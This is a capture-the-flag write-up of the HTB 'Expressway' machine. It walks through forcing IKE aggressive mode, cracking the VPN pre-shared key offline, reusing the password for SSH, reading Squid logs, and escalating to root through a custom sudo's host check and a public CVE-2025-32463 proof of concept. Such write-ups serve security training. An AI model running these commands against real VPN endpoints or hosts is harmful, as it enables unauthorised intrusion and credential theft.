RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 10.0p2 Debian 8 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Externally no TCP ports open aside from 22 (SSH). So naturally we perform a UDP sweep.

UDP is TCP's slow, silent sibling—connectionless by design, maddening to enumerate reliably, and riddled with false negatives unless our tooling is finely tuned.

Here's an example invocation of udpx:

$ git clone https://github.com/nullt3r/udpx.git
$ cd udpx
$ go build ./cmd/udpx
$ sudo mv udpx /usr/local/bin/udpx

$ udpx -t $target_ip -c 128 -w 1000

        __  ______  ____ _  __
       / / / / __ \/ __ \ |/ /
      / / / / / / / /_/ /   /
     / /_/ / /_/ / ____/   |
     \____/_____/_/   /_/|_|
         v1.0.7, by @nullt3r

2025/09/20 16:33:27 [+] Starting UDP scan on 1 target(s)
2025/09/20 16:33:45 [*] 10.129.13.112:500 (ike)
2025/09/20 16:34:00 [+] Scan completed

udpx found something juicy: UDP/500 (IKE).

USER

UDP port 500 typically maps to ISAKMP / IKE (IPsec VPN). Takeaways:

  • This host is an IPsec VPN endpoint (IKEv1 or IKEv2).
  • The responder may divulge vendor/version strings, identity values, supported crypto proposals, and — in IKEv1 Aggressive Mode — even usernames.
  • Misconfiguration (weak PSKs, exposed Aggressive Mode, or malformed certificates) represents an actionable entry vector or an information-leak surface.

IKE

IKE (Internet Key Exchange) orchestrates the cryptographic associations used by IPsec. In plain terms: IKE is the handshake that lets two endpoints negotiate keys, algorithms, and identities so they can erect encrypted tunnels (ESP/AH).

Think of IKE as the ritual that creates the secret corridor; IPsec (ESP/AH) is the corridor itself.

IKE Scan

For fingerprinting and probing IKE, we can use ike-scan. It crafts IKE packets, elicits vendor/identity/proposal responses, and fingerprints the responder.

Installation:

Bash
# Debian/Ubuntu
sudo apt install -y ike-scan

# Arch
yay -S ike-scan
# (need fix though, see: https://aur.archlinux.org/packages/ike-scan)

# Build from github
git clone https://github.com/royhills/ike-scan.git
cd ike-scan
autoreconf --install
./configure --with-openssl
make -j"$(nproc)"
sudo make install

Initial probe:

$ sudo ike-scan expressway.htb

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112  Main Mode Handshake returned HDR=(CKY-R=1d432c635a2e8d64) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

IKEv1 — Main Mode: the target answered in Main Mode. No identities were leaked in cleartext by this handshake. But we've identified some weak algorithms:

  • Enc=3DES: legacy symmetric cipher (weak by modern standards).
  • Hash=SHA1: legacy HMAC; collision/weakness concerns exist.
  • Group=2 (modp1024): 1024-bit DH — considered weak for high-security contexts.
  • Auth=PSK: server expects a pre-shared key for authentication — central to our attacker model.
  • VID=... (XAUTH): vendor ID indicates XAUTH support. That means the VPN likely runs a two-step auth: PSK for IKE and then XAUTH username/password. If PSK is known, XAUTH becomes the next credential gate.

IKEv1 Phase overview:

  • Phase 1 → establish IKE SA (agree algorithms, authenticate peers).
  • Phase 2 (Quick Mode) → derive IPsec SAs (actual encrypted tunnels).
  • Phase 1 modes:
    • Main Mode → 6 messages; hides identity.
    • Aggressive Mode → 3 messages; faster but leaks identity and enables offline PSK attacks.

Aggressive Mode is worth forcing because it often leaks identity material useful for PSK cracking:

$ sudo ike-scan -A expressway.htb

Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112  Aggressive Mode Handshake returned HDR=(CKY-R=10f501450cedfb8e) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)
  • ID(Type=ID_USER_FQDN, [email protected])actionable leak.
  • KeyExchange(128 bytes) Nonce(32 bytes) — normal DH/nonce data; indicates the server will perform a DH-based key derivation.
  • Hash(20 bytes) — IKE's hash; with PSK, attack workflows often capture data useful for offline PSK guessing.

Produce PSK cracking parameters with -P (writes aggressive-mode PSK blobs for offline cracking via psk-crack):

$ ike-scan -h
--pskcrack[=<f>] or -P[<f>] Crack aggressive mode pre-shared keys.
                        This option outputs the aggressive mode pre-shared key
                        (PSK) parameters for offline cracking using the
                        "psk-crack" program that is supplied with ike-scan.
                        You can optionally specify a filename, <f>, to write
                        the PSK parameters to.  If you do not specify a filename
                        then the PSK parameters are written to standard output.
                        If you are using the short form of the option (-P)
                        then the value must immediately follow the option
                        letter with no spaces, e.g. -Pfile not -P file.
                        You can only specify a single target host if you use
                        this option.
                        This option is only applicable to IKE aggressive mode.

$ sudo ike-scan -A expressway.htb [email protected] -Pike.psk
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.129.13.112  Aggressive Mode Handshake returned HDR=(CKY-R=8408e5d22149f23f) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) KeyExchange(128 bytes) Nonce(32 bytes) ID(Type=ID_USER_FQDN, [email protected]) VID=09002689dfd6b712 (XAUTH) VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0) Hash(20 bytes)

$ tail ike.psk
bc859f8dc4a9e13eb9005f4c8837adcc1d9ae7a994f101f02a655305fa74f5b3749c13b308743811c37896b8ba1632058983ecd64a6da01ea8a780b45e31d486880c68028720cad28e5c341cf9cd9fc2a4d0cc05fd774937b43fb3186a0cd91dfab698c8643b1b693f20782a86db22aaa96a35bdf260fee61ae4488b04e96a2c:6c4ccc2b450929e68527c985be032635a885ce002b21ae9785424e55d3462b1d4898724e751ce9f111c994152f627699caba4e0d7b80b13a94841f1515fe6bd3fbe3ea13193abfde73c260a9d98bfdcaa1cf0c4763f27a23ac9e6368ec64cca68128f48b5fa62b91acdf44d088653841d3cc3d00707823c6e061d199bba30de7:8408e5d22149f23f:02df802fb6f5df66:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:9c4cb226f57fc96bcfee3b78bfe92ab2463b982e:aec8b6a180a4f3d9293c483b9705c9df35e01f24486b2b2f3e8774a6019e6bfd:9157243c333a25d603bf588a5c8a9c0bc966e3b0

Forcing Aggressive Mode while supplying the observed identity ([email protected]) yields the responder's authentication hash — the artifact needed for offline PSK recovery attempts.

PSK Cracking

A PSK (Pre-Shared Key) is a symmetric secret shared by both VPN endpoints ahead of time (think: a password both sides know).

We forced the IKE responder into Aggressive Mode and saved the aggressive-mode PSK parameters to ike.psk (short form -P must be attached: -Pike.psk, or use --pskcrack=ike.psk). The file is a colon-delimited blob:

g_xr : g_xi : cky_r : cky_i : sai_b : idir_b : ni_b : nr_b : hash_r

The auth hash is only the last field (hash_r) — in our case 9157243c333a25d603bf588a5c8a9c0bc966e3b0 which is 40 hex chars = 20 bytes (HMAC-SHA1). Use psk-crack (shipped with ike-scan) to test PSK candidates with our wordlists offline:

$ psk-crack -d ~/wordlists/rockyou.txt ike.psk

Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash 9157243c333a25d603bf588a5c8a9c0bc966e3b0
Ending psk-crack: 8045039 iterations in 4.278 seconds (1880409.57 iterations/sec)

We recovered the Pre-Shared Key (freakingrockstarontheroad) used by the IKEv1 endpoint. It generally allows us for an XAUTH (username/password) or create an authenticated VPN session.

Password Reusing

After retrieving a plain-text password string, it's cheap to test it against known users like [email protected] on remote logon:

htb_expressway_1

User flag secured.

Note: the ike account belongs to an unusual group proxy — a detail worth chasing during post-exploitation and lateral-movement enumeration.

ROOT

Internal Enum

Group: proxy

Foothold as ike, with an anomalous secondary group: proxy. That's signal, not noise.

Confirmed:

ike@expressway:~$ getent group proxy
proxy:x:13:ike

Rogue Sudo

Standard hygiene: enumerate sudo.

ike@expressway:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

For security reasons, the password you type will not be visible.

Password:
Sorry, user ike may not run sudo on expressway.

This weird verbose pre-prompt “lecture” and custom denial suggest non-default sudoers behavior. Verify the binary:

ike@expressway:~$ which sudo
/usr/local/bin/sudo

ike@expressway:~$ ls -lh /usr/local/bin/sudo
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo

Here, the resolver hits /usr/local/bin/sudo first — a bespoke setuid ELF ~1 MB in size. So we see this is a deliberate replacement.

I happen to be intimately familiar with this binary—I authored a comprehensive research series on fuzzing sudo. The system-wide canonical build resides at /usr/bin/sudo (~200–300 KB, setuid root):

ike@expressway:~$ ls -lh /usr/bin/sudo
-rwsr-xr-x 1 root root 276K Jun 27  2023 /usr/bin/sudo

And because /usr/local/bin appears in $PATH before /usr/bin, our shell calls this replacement first.

Bonus: it's not stripped — prime for reversing like plain-text with debug symbols:

ike@expressway:~$ file /usr/bin/sudo
/usr/bin/sudo: setuid ELF 64-bit LSB pie executable, ..., stripped

ike@expressway:~$ file /usr/local/bin/sudo
/usr/local/bin/sudo: setuid ELF 64-bit LSB pie executable, ..., with debug_info, not stripped

Provenance:

ike@expressway:~$ stat /usr/local/bin/sudo

  File: /usr/local/bin/sudo
  Size: 1047040         Blocks: 2048       IO Block: 4096   regular file
Device: 8,1     Inode: 275230      Links: 1
Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-09-21 02:26:40.655175955 +0100
Modify: 2025-08-29 15:18:58.396936868 +0100
Change: 2025-08-29 15:18:58.406629045 +0100
 Birth: 2025-08-29 15:18:58.394043585 +0100

Freshly planted. Likely the real escalation vector.

LinPEAS

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:25                  :::*                    LISTEN      -

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
strace Not Found
...
-rwsr-xr-x 1 root root 1023K Aug 29 15:18 /usr/local/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root 276K Jun 27  2023 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable

Local SMTP on 25 — someone's accepting mail.

Squid Logs

proxy typically maps to HTTP proxy daemons (Squid, tinyproxy). That group often owns configs, caches, and logs. Check ACL reach:

ike@expressway:~$ ls -ld /etc/squid* /var/spool/squid* /var/log/squid* /var/cache/squid* 2>/dev/null

drwxr-xr-x 3 root  root  4096 Sep 16 16:02  /etc/squid
drwxr-xr-x 2 proxy proxy 4096 Sep 16 16:02  /var/log/squid
drwxr-xr-x 2 proxy proxy 4096 Sep 16 16:02  /var/spool/squid

Group membership (proxy) allows us to read sensitive Squid logs under /var/log/squid.

A Squid access log records every request the proxy handled (or denied), telling us what clients asked the proxy to fetch:

ike@expressway:~$ ls -l /var/log/squid
total 20
-rw-r----- 1 proxy proxy 4778 Jul 23 01:19 access.log.1
-rw-r----- 1 proxy proxy   20 Jul 22 19:32 access.log.2.gz
-rw-r----- 1 proxy proxy 2192 Jul 23 01:47 cache.log.1
-rw-r----- 1 proxy proxy  941 Jul 23 01:47 cache.log.2.gz

ike@expressway:~$ cat /var/log/squid/access.log.1
...
1753229688.847      0 192.168.68.50 NONE_NONE/400 3914 GET /.git/HEAD - HIER_NONE/- text/html
1753229688.847      0 192.168.68.50 NONE_NONE/400 3926 GET /tasktracker.jsp - HIER_NONE/- text/html
1753229688.847      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902      0 192.168.68.50 NONE_NONE/400 3896 PROPFIND / - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/400 3896 OPTIONS / - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/400 3914 GET /rs-status - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://www.google.com/ - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/400 3902 POST /sdk - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/400 3896 GET / - HIER_NONE/- text/html
1753229688.902      0 192.168.68.50 NONE_NONE/000 0 - error:transaction-end-before-headers - HIER_NONE/- -
1753229688.902      0 192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html
...

The standalone offramp.expressway.htb host appears in TCP denied requests — concrete evidence a client attempted to reach that internal vhost. Mark it as a pivot target for the privilege chain.

PE1. Weird Sudo

Since this unusual sudo is a one-off build, the logical pivot is to hunt for configs, plugins, and helper libs tied to it.

The drop installed under /usr/local, so we sweep:

ike@expressway:~$ ls -la /usr/local/etc
total 8
drwxr-xr-x  2 root root 4096 Dec 19  2024 .
drwxr-xr-x 11 root root 4096 Aug 29 15:18 ..

ike@expressway:~$ ls -la /usr/local/libexec/sudo
total 3116
drwxr-xr-x 2 root root    4096 Aug 29 15:18 .
drwxr-xr-x 3 root root    4096 Aug 29 15:18 ..
-rw-r--r-- 1 root root     984 Aug 29 15:18 audit_json.la
-rw-r--r-- 1 root root   65424 Aug 29 15:18 audit_json.so
-rw-r--r-- 1 root root     984 Aug 29 15:18 group_file.la
-rw-r--r-- 1 root root   28408 Aug 29 15:18 group_file.so
-rw-r--r-- 1 root root     965 Aug 29 15:18 libsudo_util.la
lrwxrwxrwx 1 root root      21 Aug 29 15:18 libs	udo_util.so -> libsudo_util.so.0.0.0
lrwxrwxrwx 1 root root      21 Aug 29 15:18 libsudo_util.so.0 -> libsudo_util.so.0.0.0
-rwxr-xr-x 1 root root  484544 Aug 29 15:18 libsudo_util.so.0.0.0
-rw-r--r-- 1 root root     982 Aug 29 15:18 sudoers.la
-rw-r--r-- 1 root root 2224656 Aug 29 15:18 sudoers.so
-rw-r--r-- 1 root root    1008 Aug 29 15:18 sudo_intercept.la
-rw-r--r-- 1 root root  293664 Aug 29 15:18 sudo_intercept.so
-rw-r--r-- 1 root root     931 Aug 29 15:18 sudo_noexec.la
-rw-r--r-- 1 root root   23288 Aug 29 15:18 sudo_noexec.so
-rw-r--r-- 1 root root     996 Aug 29 15:18 system_group.la
-rw-r--r-- 1 root root   20760 Aug 29 15:18 system_group.so

We exfil the binary and its policy plugin (sudoers.so) for reversing:

Bash
scp [email protected]:/usr/local/bin/sudo .
scp [email protected]:/usr/local/libexec/sudo/sudoers.so .	
# freakingrockstarontheroad

Decompiling sudoers.so, we immediately spot the banner messages:

htb_expressway_2

The infamous “may not run” denial line confirms custom formatting logic:

htb_expressway_5

Additionally, it seems running sudo ./<cmd> leads us to a different execution flow:

htb_expressway_6

The denial message changed. These responses are printed after host matching:

htb_expressway_3

Uncover host-aware code paths and PAM integration:

'Matching Defaults entries for %s on %s:'
'User %s may run the following commands on %s:'
'User %s is not allowed to run sudo on %s.'

pam_set_item(... PAM_RHOST ...)
pam_set_item(... PAM_TTY ...)
unable to authenticate '%s'

Confirms policy interacts with PAM and passes RHOST—so the %s format string specifier for printf showed expressway as the hostname in previous response.

And we see machine author is trolling with memes:

htb_expressway_4

In conclusion: there are dozens of input vectors baked into this trolling custom sudo policy; many arguments produce atypical control paths.

The simplest attack path comes into our sight — every denial is logged and triggers an alert (hence SMTP on port 25):

htb_expressway_7

Recall the Squid access log contains a tell-tale entry:

192.168.68.50 TCP_DENIED/403 3807 GET http://offramp.expressway.htb - HIER_NONE/- text/html

Correlating that with sudo behavior clearly reveals the bug:

  • When we ran sudo <cmd>, we were refused with a may not run custom message and reject.
  • When we ran sudo ./<cmd>, it explicitly replied that we are not allowed to run this on the expressway host.

So what if we ran sudo ./<cmd> by specifying a different host like the suspicious one recorded in the Squid log?

Try it out. And we are then "allowed to" execute arbitrary command with the rogue sudo:

htb_expressway_11

Rooted.

Probe deeper into this trolling binary and a multitude of latent exploitation vectors will unfurl.

PE2. CVE-2025-32463

I've actually recognized the binary as immediately vulnerable to CVE-2025-32463 — the exploitable code paths jumped out at first glance because the thorough research I've done into sudo.

And the sudo version — corroborated by LinPEAS indicators — is also trivial to fingerprint:

ike@expressway:~$ sudo -V

Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.17
Sudoers audit plugin version 1.9.17

I won't re-run the full forensic autopsy here — the long-form write-up 30K+ word post contains the full exploit anatomy against Linux NSS service. Practically, pull a public PoC and stage it:

Bash
git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git && cd CVE-2025-32463_chwoot
scp sudo-chwoot.sh [email protected]:/dev/shm
# freakingrockstarontheroad

Deploy the PoC on the host and the vulnerability yields a straightforward path to an elevated shell:

htb_expressway_12